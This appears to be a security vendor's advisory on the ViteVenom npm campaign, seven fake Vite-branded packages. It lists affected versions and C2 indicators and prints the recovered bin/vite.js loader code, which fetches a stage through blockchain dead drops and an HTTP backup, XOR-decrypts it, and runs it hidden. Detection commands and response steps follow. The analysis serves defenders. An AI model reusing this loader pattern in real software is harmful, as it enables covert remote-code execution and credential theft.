critical

CVE

Not assigned

CWE

CWE-506, CWE-494

Affected Surface

  • `@uw010010/vite-tree` versions `3.4.2`, `3.4.3`, and `3.6.1` (`3.4.1` and `8.1.0` were observed clean)
  • `@vite-tab/tab@3.15.10`, `@vite-ln/build-ts@5.15.10`, `@vite-mcp/vite-type@6.44.1`, `@vite-pro/vite-ui@2.5.10`, `@vitets/vite-ts@1.5.10`, and `@vite-ts/vite-ui@6.44.1`
  • Developer workstations and CI runners that executed the fake Vite binary path from these packages in Node-based build or scaffolding workflows
  • Hosts with outbound access to the campaign's blockchain resolution path (`api.trongrid.io`, `fullnode.mainnet.aptoslabs.com`, `bsc-dataseed.binance.org`) or direct C2 at `198.105.127[.]210`

The newest package-registry story worth adding to the research library is ViteVenom, a seven-package npm cluster that targeted developers who already trust Vite-shaped package names and CLI workflows. The important detail is not just that the packages were fake. It is that the loader path lived in bin/vite.js, kept the on-registry code relatively small, and pushed second-stage resolution into public blockchain infrastructure that is much harder to disrupt than ordinary malware domains.

This makes ViteVenom a useful companion to earlier Corgea research on PolinRider’s blockchain-backed loaders, the AsyncAPI runtime-dropper chain, and the Rollup polyfill RAT campaign. The execution surface keeps moving away from obvious postinstall hooks and toward code paths that look like normal developer tooling.

Publicly confirmed affected package set

Checkmarx’s July research identifies seven malicious packages and nine malicious versions:

PackageMalicious version(s)Notes
@uw010010/vite-tree3.4.2, 3.4.3, 3.6.13.4.1 and 8.1.0 were observed clean
@vite-tab/tab3.15.10Scoped package meant to look like normal Vite tooling
@vite-ln/build-ts5.15.10Fake build-helper branding
@vite-mcp/vite-type6.44.1Uses current MCP branding to look timely
@vite-pro/vite-ui2.5.10Looks like an “official pro” add-on
@vitets/vite-ts1.5.10One-character visual drift from @vitest/*
@vite-ts/vite-ui6.44.1Another Vite/TypeScript-flavored lure

One package is especially important for defenders who only check the latest version. @uw010010/vite-tree mixed clean and malicious versions:

VersionStatusWhy it matters
3.4.1cleanhelps the package look established
3.4.2maliciouscarries the bin/vite.js loader
3.4.3malicioussame-day malicious update
3.6.1malicioussame-day malicious update
8.1.0cleana later clean version can hide the malicious history

That pattern matters because it defeats shallow review habits such as “open the newest version and spot-check the files.” For this cluster, defenders need version-precise lockfile hunting, not package-name-only allowlisting.

Why the package names were believable

The official Vite ecosystem uses the @vitejs/* scope. ViteVenom exploited that trust by staying close to the real namespace without copying it exactly:

Malicious scopeLikely visual target
@vite-pro/*@vitejs/* plus a fake premium-looking variant
@vite-ts/*@vitejs/* plus a TypeScript-flavored variant
@vitets/*@vitest/* with one-character drift
@vite-mcp/*Vite + current AI/dev-tool branding

That is more dangerous than an obviously random typosquat. In a rushed package.json review, names like @vite-pro/vite-ui and @vite-mcp/vite-type can sit next to legitimate Vite packages without immediately looking hostile.

The malicious entrypoint lived in bin/vite.js

Checkmarx’s most useful finding is that all seven packages carried functionally identical malicious logic in bin/vite.js. The first lines already show the theme: hide suspicious primitives, keep the file looking like a normal Vite-adjacent CLI, and defer the heavy lifting to later stages.

global.i = '*5-3';

global.r = require;
if (typeof module === 'object')
  global.m = module;

The code is simple, but the tradecraft is effective:

  • require becomes global.r, which removes obvious string signatures from later calls
  • the campaign marker (*5-*) lets the operator track which package or version executed
  • the real payload is not stored directly in cleartext in the file

Checkmarx also describes a scrambled string table that resolves the sensitive constants only at runtime. That table reconstructs:

  • the Tron API URL
  • the Aptos fallback URL
  • the Binance Smart Chain RPC node
  • XOR keys for both resolution stages
  • the child_process module name used for detached execution

The result is a loader that looks small enough to blend into an npm package, but still knows how to rebuild a complete delivery chain at runtime.

The payload-resolution path used three public blockchains

The most technically important part of the campaign is the dead-drop architecture. Instead of shipping a single direct download URL, the loader resolves a second stage through a public-blockchain chain:

async function fetchPayload(xorKey, tronAddr, aptosHash) {
  let pointer;
  try {
    const resp = await httpGet(
      'hxxps://api[.]trongrid[.]io/v1/accounts/' + tronAddr +
      '/transactions?only_confirmed=true&only_from=true&limit=1'
    );
    pointer = Buffer.from(resp.data[0].raw_data.data, 'hex')
      .toString('utf8').split('').reverse().join('');
  } catch (e) {
    const resp = await httpGet(
      'hxxps://fullnode[.]mainnet[.]aptoslabs[.]com/v1/accounts/' +
      aptosHash + '/transactions?limit=1'
    );
    pointer = resp[0].payload.arguments[0];
  }

  const bscResp = await rpcCall('eth_getTransactionByHash',
    [pointer], 'bsc-dataseed.binance.org');
  const encrypted = Buffer.from(
    bscResp.result.input.substring(2), 'hex'
  ).toString('utf8').split('?.?')[1];

  let result = '';
  for (let i = 0; i < encrypted.length; i++) {
    result += String.fromCharCode(
      encrypted.charCodeAt(i) ^ xorKey.charCodeAt(i % xorKey.length)
    );
  }
  return result;
}

Reduced to its essential flow, the stage chain is:

bin/vite.js
-> query latest Tron transaction
-> reverse and decode a BSC transaction hash
-> fall back to Aptos if Tron fails
-> query BSC transaction input
-> XOR-decrypt the stage
-> eval() or spawn detached Node

That architecture matters operationally because it changes the takedown problem. Blocking a conventional malware domain is straightforward. Blocking a loader that recovers encrypted stage pointers from public blockchain APIs is much harder, especially when the attacker can rotate the transaction data without republishing the npm package.

The second stage used a detached child process

The runtime path was not limited to eval() in the current process. The report shows a second execution branch that launches a hidden detached child:

var payload2 = await fetchPayload(
  'm6:tTh^D)cBz?NM]',
  'TFMryB9m6d4kBMRjEVyFRbqKSV1cV2NcpH',
  '0x3d2075f9...f9471'
);

require('child_process').spawn('node', ['-e',
  "global['_V']='" + campaignMarker + "';" + payload2
], {
  detached: true,
  stdio: 'ignore',
  windowsHide: true
}).on('error', () => eval(payload2));

This is the line defenders should focus on. The attack is not just “some obfuscated JavaScript ran.” The package explicitly tries to outlive the original parent process:

  • detached: true lets the child survive the parent
  • stdio: 'ignore' removes console noise
  • windowsHide: true suppresses obvious user-facing windows
  • the fallback eval(payload2) preserves execution if process spawning fails

In other words, the loader is engineered to turn a normal-looking developer action into a long-lived RAT bootstrap path.

The C2 path had both resilient and fast branches

The blockchain chain was not the only delivery option. Checkmarx also recovered a direct HTTP backup path:

var opts = {
  method: 'GET',
  path: '/$/boot',
  headers: {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; ...)',
    'Sec-V': campaignMarker
  }
};
var decrypted = xorDecrypt(await httpRequest(opts), 'ThZG+0jfXE6VAGOJ');
eval(decrypted);

That gives the operator two useful properties at once:

  1. resilience, because the blockchain path is difficult to seize
  2. speed, because the direct /$/boot route can return the RAT in a single network request

Public reporting lines up on the main ViteVenom server at 198.105.127[.]210, while Checkmarx also ties the infrastructure to two servers from the earlier ChainVeil track:

  • 198.105.127[.]210
  • 166.88.54[.]158
  • 23.27.202[.]27

Detection and scoping

Start with version-precise dependency hunting:

npm ls @uw010010/vite-tree @vite-tab/tab @vite-ln/build-ts \
  @vite-mcp/vite-type @vite-pro/vite-ui @vitets/vite-ts @vite-ts/vite-ui

pnpm why @uw010010/vite-tree @vite-tab/tab @vite-ln/build-ts \
  @vite-mcp/vite-type @vite-pro/vite-ui @vitets/vite-ts @vite-ts/vite-ui

Then hunt lockfiles and local package contents for the distinctive scope names and loader markers:

rg -n '@uw010010/|@vite-tab/|@vite-ln/|@vite-mcp/|@vite-pro/|@vitets/|@vite-ts/' \
  package-lock.json pnpm-lock.yaml yarn.lock

rg -n "global\\.i|trongrid\\.io|aptoslabs\\.com|bsc-dataseed|2\\[gWfGj|ThZG\\+0jfXE6VAGOJ" \
  node_modules . 

Finally, scope for the network side:

198.105.127[.]210
166.88.54[.]158
23.27.202[.]27
api.trongrid.io
fullnode.mainnet.aptoslabs.com
bsc-dataseed.binance.org

If a host merely downloaded a lockfile entry, that is a dependency-hygiene problem. If a host actually executed the fake Vite binary path, that is a host-compromise problem.

Response guidance

If any affected package executed in a developer or CI environment:

  1. remove every affected package and rebuild the dependency tree from a known-good state
  2. rotate npm tokens, GitHub tokens, SSH keys, cloud credentials, and any secrets reachable from the host
  3. inspect shell profiles and project automation files for persistence or unexpected runner logic
  4. review long-lived node -e child processes and outbound traffic to the IPs and blockchain APIs above
  5. treat “latest version looks clean” as non-evidence, especially for @uw010010/vite-tree

The lesson from ViteVenom is that the new supply-chain baseline is not just typosquatting. It is delivery engineering. The package name creates trust, the registry artifact creates initial execution, and the real payload path lives off-registry in infrastructure that is deliberately chosen to resist takedown.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References